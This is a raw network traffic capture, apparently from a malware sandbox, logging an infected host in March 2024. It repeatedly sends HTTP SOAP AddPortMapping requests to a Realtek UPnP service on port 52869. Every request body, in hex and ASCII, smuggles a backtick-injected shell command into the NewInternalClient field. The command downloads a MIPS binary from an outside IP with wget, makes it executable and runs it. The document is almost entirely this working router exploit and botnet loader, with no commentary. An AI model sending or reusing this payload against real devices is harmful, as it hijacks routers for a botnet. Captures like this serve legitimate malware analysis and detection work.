                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:19.098292112 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.553715944 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:17.464521885 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      39192.168.2.1548790185.11.215.20352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:00.617872953 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:01.754832029 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:03.066695929 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
